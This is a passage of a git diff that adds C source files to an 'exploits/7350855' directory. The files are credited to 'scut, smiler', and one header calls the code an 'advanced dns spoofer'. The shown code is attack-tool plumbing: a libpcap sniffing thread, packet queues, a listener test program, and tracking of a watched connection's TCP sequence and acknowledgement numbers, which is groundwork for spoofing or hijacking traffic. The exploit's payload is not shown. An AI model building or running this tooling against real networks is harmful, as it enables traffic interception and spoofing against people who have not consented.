442 tcp->th_sport == watch_dport)
443 {
444 watch_dst_seq = ntohl (tcp->th_seq);
445 watch_dst_ack = ntohl (tcp->th_ack);
446#ifdef DEBUG
447 fprintf (stderr, "(%5hu -> %5hu) dst #: 0x%08lx | 0x%08lx\n\n",
448 tcp->th_sport, tcp->th_dport,
449 watch_dst_seq, watch_dst_ack);
450#endif
451 }
452 }
453 pthread_mutex_unlock (&watch_mutex);
454
455
456 return (match);
457}
458
459
460/* pq_offset
461 *
462 * stupidly calculate offsets for IP, UDP and DNS offsets within a IP data
463 * block
464 *
465 * return nothing
466 */
467
468void
469pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp,
470 unsigned char **tcp_data)
471{
472 size_t ip_len;
473
474
475 if (data == NULL)
476 return;
477
478 *ip = (ip_hdr *) data;
479 ip_len = (*ip)->ip_hl << 2;
480 *tcp = (tcp_hdr *) (data + ip_len);
481
482 /* FIXME: assuming stock tcp header */
483 *tcp_data = (unsigned char *) (data + ip_len + sizeof (tcp_hdr));
484
485 return;
486}
487
diff --git a/exploits/7350855/packet.h b/exploits/7350855/packet.h
new file mode 100644
index 0000000..78f1404
--- /dev/null
+++ b/exploits/7350855/packet.h
@@ -0,0 +1,85 @@
1/* snifflib
2 *
3 * by scut, smiler
4 *
5 */
6
7#ifndef Z_PACKET_H
8#define Z_PACKET_H
9
10#include <sys/time.h>
11#include <arpa/nameser.h>
12#include <netinet/in.h>
13#include <pcap.h>
14#include <semaphore.h>
15#include <pthread.h>
16#include <libnet.h>
17
18
19/* packet structures
20 *
21 * we tried to be as portable as possible
22 */
23
24typedef struct libnet_ethernet_hdr eth_hdr;
25typedef struct libnet_ip_hdr ip_hdr;
26typedef struct libnet_udp_hdr udp_hdr;
27typedef struct libnet_tcp_hdr tcp_hdr;
28
29
30/* pq_desc
31 *
32 * describe one packet within the packet queue. the data is only to be read
33 * and write if `pq_mutex' is hold. `next' points to the next pq_desc within
34 * this packet queue, hash is the hash id of the packet (TCP only), `p_data'
35 * is the actual packet data (at IP level)
36 */
37
38typedef struct pq_desc {
39 pthread_mutex_t pq_mutex; /* mutex over this structure */
40
41 struct pq_desc *next; /* pointer to the next packet in the queue */
42 struct timeval rcv_time; /* time when the packet was received */
43 unsigned long int p_len; /* overall packet length */
44
45 unsigned char *p_data; /* actual packet data, link layer stripped already */
46} pq_desc;
47
48
49/* pq_thread
50 *
51 * describe a) one packet processing thread (tid, semaphore)
52 * b) packet queue root pointer (linked list of pq_desc structs)
53 * c) stats for this queue
54 *
55 * if the sniffing thread has encountered a packet that it added to this
56 * packetizing queue, it will raise the `pq_active' :-)
57 */
58
59typedef struct pq_thread {
60 pthread_t pq_tid; /* thread ID */
61 sem_t pq_active; /* new packet semaphore, yeah =) */
62 pthread_mutex_t pq_mutex; /* mutex over this structure */
63
64 unsigned long int pq_count; /* number of packets processed in this queue */
65 unsigned long int pq_curcount; /* number of packets currently in this queue */
66 pq_desc *root; /* root pointer of the linked list in this queue (NULL for empty) */
67} pq_thread;
68
69void * pq_handle (pq_thread *pq);
70pq_thread * pq_create (void);
71void pq_destroy (pq_thread *pq);
72pq_desc * pq_get (pq_thread *pqt);
73void pq_grind (void *sinfov, struct pcap_pkthdr *pkthdr,
74 unsigned char *pkt);
75int pq_add (unsigned char *p_data, unsigned long int p_size,
76 struct timeval *rcv_time, pq_thread *pqt);
77void pq_notify (pq_thread *pqt);
78void pq_remove (pq_thread *pqt);
79void pq_free (pq_desc *packet);
80int pq_filter (unsigned char *p_data, unsigned long p_size);
81void pq_offset (unsigned char *data, ip_hdr **ip, tcp_hdr **tcp,
82 unsigned char **tcp_data);
83
84#endif
85
diff --git a/exploits/7350855/packet.o b/exploits/7350855/packet.o
new file mode 100644
index 0000000..96311ab
--- /dev/null
+++ b/exploits/7350855/packet.o
Binary files differ
diff --git a/exploits/7350855/readtest b/exploits/7350855/readtest
new file mode 100644
index 0000000..a879b26
--- /dev/null
+++ b/exploits/7350855/readtest
Binary files differ
diff --git a/exploits/7350855/readtest.c b/exploits/7350855/readtest.c
new file mode 100644
index 0000000..f1618e5
--- /dev/null
+++ b/exploits/7350855/readtest.c
@@ -0,0 +1,42 @@
1
2#include <stdio.h>
3#include <stdlib.h>
4#include <unistd.h>
5#include "network.h"
6
7
8int
9main (int argc, char *argv[])
10{
11 int cfd;
12 bound * rt;
13 int len;
14 unsigned char tbuf[8192];
15
16
17 rt = net_bind (NULL, 2000);
18 if (rt == NULL) {
19 perror ("net_bind");
20 exit (EXIT_FAILURE);
21 }
22
23 cfd = net_accept (rt->bs, NULL, 0);
24 if (cfd <= 0) {
25 perror ("net_accept");
26 exit (EXIT_FAILURE);
27 }
28
29 /* now deep down to the guts */
30 len = 1;
31 while (len > 0 && 1) {
32 len = read (cfd, tbuf, sizeof (tbuf));
33 printf ("%d\n", len);
34 }
35
36 close (cfd);
37 net_boundfree (rt);
38
39 exit (EXIT_SUCCESS);
40}
41
42
diff --git a/exploits/7350855/sniff.c b/exploits/7350855/sniff.c
new file mode 100644
index 0000000..b8ff924
--- /dev/null
+++ b/exploits/7350855/sniff.c
@@ -0,0 +1,323 @@
1/* zodiac - advanced dns spoofer
2 *
3 * sniffing functions
4 *
5 * by scut, smiler
6 *
7 */
8
9#include <sys/types.h>
10#include <sys/socket.h>
11#include <sys/ioctl.h>
12#include <net/if.h>
13#include <pcap.h>
14#include <pthread.h>
15#include <stdio.h>
16#include <stdlib.h>
17#include <string.h>
18#include "common.h"
19#include "packet.h"
20#include "sniff.h"
21
22
23extern struct in_addr localip;
24
25
26/* sniff_new
27 *
28 * the only function that should be called from outside. set up sniffing
29 * device, create a new thread, then return.
30 * open `interface' device for sniffing, tell sniffing thread to use
31 * `pq_size' packet queues, available through `pq_list'.
32 * store thread id of new thread in `tid'.
33 *
34 * return 0 if thread creation was successful
35 * return 1 if thread creation failed
36 */
37
38int
39sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd)
40{
41 int n; /* temporary return value */
42 sniff_info *sinfo; /* sniff information structure */
43
44 sinfo = xcalloc (1, sizeof (sniff_info));
45
46 /* open interface
47 */
48 sinfo->device = sniff_open (interface);
49 if (sinfo->device == NULL) {
50 free (sinfo);
51
52 return (1);
53 } else if (sinfo->device->error == 1) {
54 return (1);
55 }
56
57 if (sniff_dev_ip (interface, &localip) != 0) {
58 free (sinfo);
59
60 return (1);
61 }
62
63 /* store information into sinfo
64 */
65 sinfo->pq_thd = pq_thd;
66
67 /* and create our neat thread :)
68 */
69 n = pthread_create (tid, NULL, (void *) sniff_handle, (void *) sinfo);
70 if (n == -1) {
71 sniff_dev_free (sinfo->device);
72 free (sinfo);
73
74 return (1);
75 }
76 /* successfully created sniffer thread
77 */
78 return (0);
79}
80
81/* sniff_handle
82 *
83 * the main sniffing thread, fetching packets from the device, then calling
84 * the packet grinder `pq_grind' to process the packets
85 *
86 * should never return except on error or program exit
87 */
88
89void *
90sniff_handle (sniff_info *sinfo)
91{
92 int n; /* temporary return value */
93 pcap_handler grinder; /* pcap handler for the packet grinding function */
94
95
96 fprintf (stderr, "[855] hello world from sniffing thread\n");
97
98 /* sniff packets forever, until an error appears. pass incoming packets
99 * to `pq_grind'.
100 */
101
102 grinder = (pcap_handler) pq_grind;
103
104 /* loop packets to pq_grind until error, passing sinfo struct for queueing
105 */
106 n = pcap_loop (sinfo->device->pd, -1, grinder, (void *) sinfo);
107
108 /* on error print error message, then free the device and terminate the
109 * thread
110 */
111 if (n == -1) {
112 fprintf (stderr, "[855] sniff_handle (pcap_loop): %s\n",
113 pcap_geterr (sinfo->device->pd));
114 }
115
116 return (NULL);
117}
118
119
120/* sniff_filter
121 *
122 * install a filter `filter' on device `device', with netmask `netmask'
123 *
124 * return 0 on success
125 * return 1 on failure
126 */
127
128int
129sniff_filter (s_dev *device, char *filter, bpf_u_int32 netmask)
130{
131 int n; /* temporary return value */
132 struct bpf_program fprog; /* berkeley packet filter program structure */
133
134 n = pcap_compile (device->pd, &fprog, filter, 1, netmask);
135 if (n == -1) {
136 fprintf (stderr, "[855] sniff_filter (pcap_compile): "
137 "failed to compile bpf program\n");
138 return (1);
139 }
140
141 n = pcap_setfilter (device->pd, &fprog);
142 if (n == -1) {
143 fprintf (stderr, "[855] sniff_filter (pcap_setfilter): "
144 "failed to set bpf on %s\n", device->interface);
145 return (1);
146 }
147
148 return (0);
149}
150
151/* sniff_open
152 *
153 * open `dev' for sniffing, or just the first sniffable one, if
154 * dev is NULL.
155 *
156 * return NULL on failure
157 * return pointer sniffing device structure on success
158 * -smiler
159 * Added link layer header length detection.
160 */
161
162s_dev *
163sniff_open (char *devname)
164{
165 int n; /* temporary return value */
166 s_dev * device; /* sniffing device structure to create */
167 char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer for pcap message */
168
169 /* create new sniffing device structure in s_dev
170 */
171 device = xcalloc (1, sizeof (s_dev));
172
173 /* check wether to use the first device or a specified device
174 */
175 if (devname == NULL) {
176 /* due to lame pcap manpage, you should not know that it's static *doh* */
177 device->interface = pcap_lookupdev (errorbuf);
178 if (device->interface == NULL) {
179 fprintf (stderr, "[855] sniff_open (pcap_lookupdev): %s\n", errorbuf);
180 device->error = 1;
181
182 return (device);
183 }
184 } else {
185 /* if the interface we have to use is already known just copy it
186 */
187 device->interface = xstrdup (devname);
188 }
189
190 /* try to open the device found
191 */
192 device->pd = sniff_pcap_open (device->interface);
193 if (device->pd == NULL) {
194 device->error = 1;
195 return (device);
196 }
197
198 /* now query some information about the device and store them into our struct
199 */
200 n = pcap_lookupnet (device->interface, &device->localnet,
201 &device->netmask, errorbuf);
202 if (n == -1) {
203 device->error = 1;
204 return (device);
205 }
206
207 device->linktype = pcap_datalink (device->pd);
208 if (device->linktype == -1) {
209 device->error = 1;
210 return (device);
211 }
212
213 switch (device->linktype) {
214 /* not sure about all of these, but they work for me :\ -z */
215 case DLT_SLIP:
216 case DLT_PPP:
217 case DLT_NULL:
218 device->linkhdrlen = 4;
219 break;
220 case DLT_RAW:
221 device->linkhdrlen = 0;
222 break;
223 case DLT_EN10MB:
224 default:
225 device->linkhdrlen = 14;
226 break;
227 }
228 fprintf (stderr, "[855] sniff_open: linkhdrlen = %ld\n",
229 device->linkhdrlen);
230
231 /* thx random for figuring this putty ;)
232 */
233 sniff_filter (device, "", device->netmask);
234
235 return (device);
236}
237
238/* sniff_pcap_open
239 *
240 * securely wraps the pcap_open_live call to catch any errors
241 *
242 * return NULL on failure
243 * return capture descriptor on succes
244 */
245
246pcap_t *
247sniff_pcap_open (char *device)
248{
249 char errorbuf[PCAP_ERRBUF_SIZE]; /* error buffer */
250 pcap_t * pdes = NULL; /* packet capture descriptor */
251
252 pdes = pcap_open_live (device, SNAPLEN, /*PROMISC*/ 0, READ_TIMEOUT, errorbuf);
253
254 if (pdes == NULL) {
255 fprintf (stderr, "[855] sniff_pcap_open (pcap_open_live): %s\n",
256 errorbuf);
257
258 return (NULL);
259 }
260
261 return (pdes);
262}
263
264/* sniff_dev_free
265 *
266 * close and free a sniffing device
267 */
268
269void
270sniff_dev_free (s_dev *device)
271{
272 pcap_close (device->pd);
273 if (device->interface)
274 free (device->interface);
275
276 free (device);
277
278 return;
279}
280
281
282/* sniff_dev_ip
283 *
284 * get the ip given the name of a device.
285 * i /hope/ this is portable ;)
286 * -smiler 991001
287 *
288 * return 0 on success
289 * return -1 on failure
290 */
291
292int
293sniff_dev_ip (const char *dev, struct in_addr *ip)
294{
295 int ifsock,
296 i_cnt;
297 struct ifconf ifc;
298 struct ifreq *ifr;
299 char buf[1024];
300
301
302 ifsock = socket (AF_INET, SOCK_DGRAM, 0);
303 if (ifsock < 0)
304 return (-1);
305
306 ifc.ifc_len = sizeof (buf);
307 ifc.ifc_buf = buf;
308 if (ioctl (ifsock, SIOCGIFCONF, &ifc) < 0)
309 return (-1);
310
311 i_cnt = ifc.ifc_len / sizeof(struct ifreq);
312
313 for (ifr = ifc.ifc_req; i_cnt ; i_cnt--, ifr++) {
314 if (strcmp (dev, ifr->ifr_name) == 0) {
315 memcpy (ip, &((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr,
316 sizeof (struct in_addr));
317
318 return (0);
319 }
320 }
321
322 return (-1);
323}
diff --git a/exploits/7350855/sniff.h b/exploits/7350855/sniff.h
new file mode 100644
index 0000000..5346d00
--- /dev/null
+++ b/exploits/7350855/sniff.h
@@ -0,0 +1,44 @@
1/* snifflib
2 *
3 * by scut
4 *
5 */
6
7#ifndef Z_SNIFF_H
8#define Z_SNIFF_H
9
10#include <pcap.h>
11#include "packet.h"
12
13#define SNAPLEN 65535
14#define PROMISC 1
15#define READ_TIMEOUT 0
16
17
18typedef struct s_dev {
19 int error; /* error flag */
20
21 pcap_t * pd; /* packet capture descriptor */
22 char * interface; /* interface name */
23 int linktype; /* link layer type */
24 unsigned long int linkhdrlen; /* length of the link layer frame header */
25 bpf_u_int32 localnet; /* local network address */
26 bpf_u_int32 netmask; /* netmask of local network */
27} s_dev;
28
29
30typedef struct sniff_info {
31 s_dev * device; /* device structure of the sniffing device */
32 pq_thread * pq_thd; /* packet queue list root pointer */
33} sniff_info;
34
35
36int sniff_new (pthread_t *tid, char *interface, pq_thread *pq_thd);
37void * sniff_handle (sniff_info *sinfo);
38s_dev * sniff_open (char *devname);
39pcap_t * sniff_pcap_open (char *device);
40void sniff_dev_free (s_dev *device);
41int sniff_dev_ip (const char *dev, struct in_addr *ip);
42
43#endif
44
diff --git a/exploits/7350855/sniff.o b/exploits/7350855/sniff.o
new file mode 100644
index 0000000..ac8a2c9
--- /dev/null
+++ b/exploits/7350855/sniff.o
Binary files differ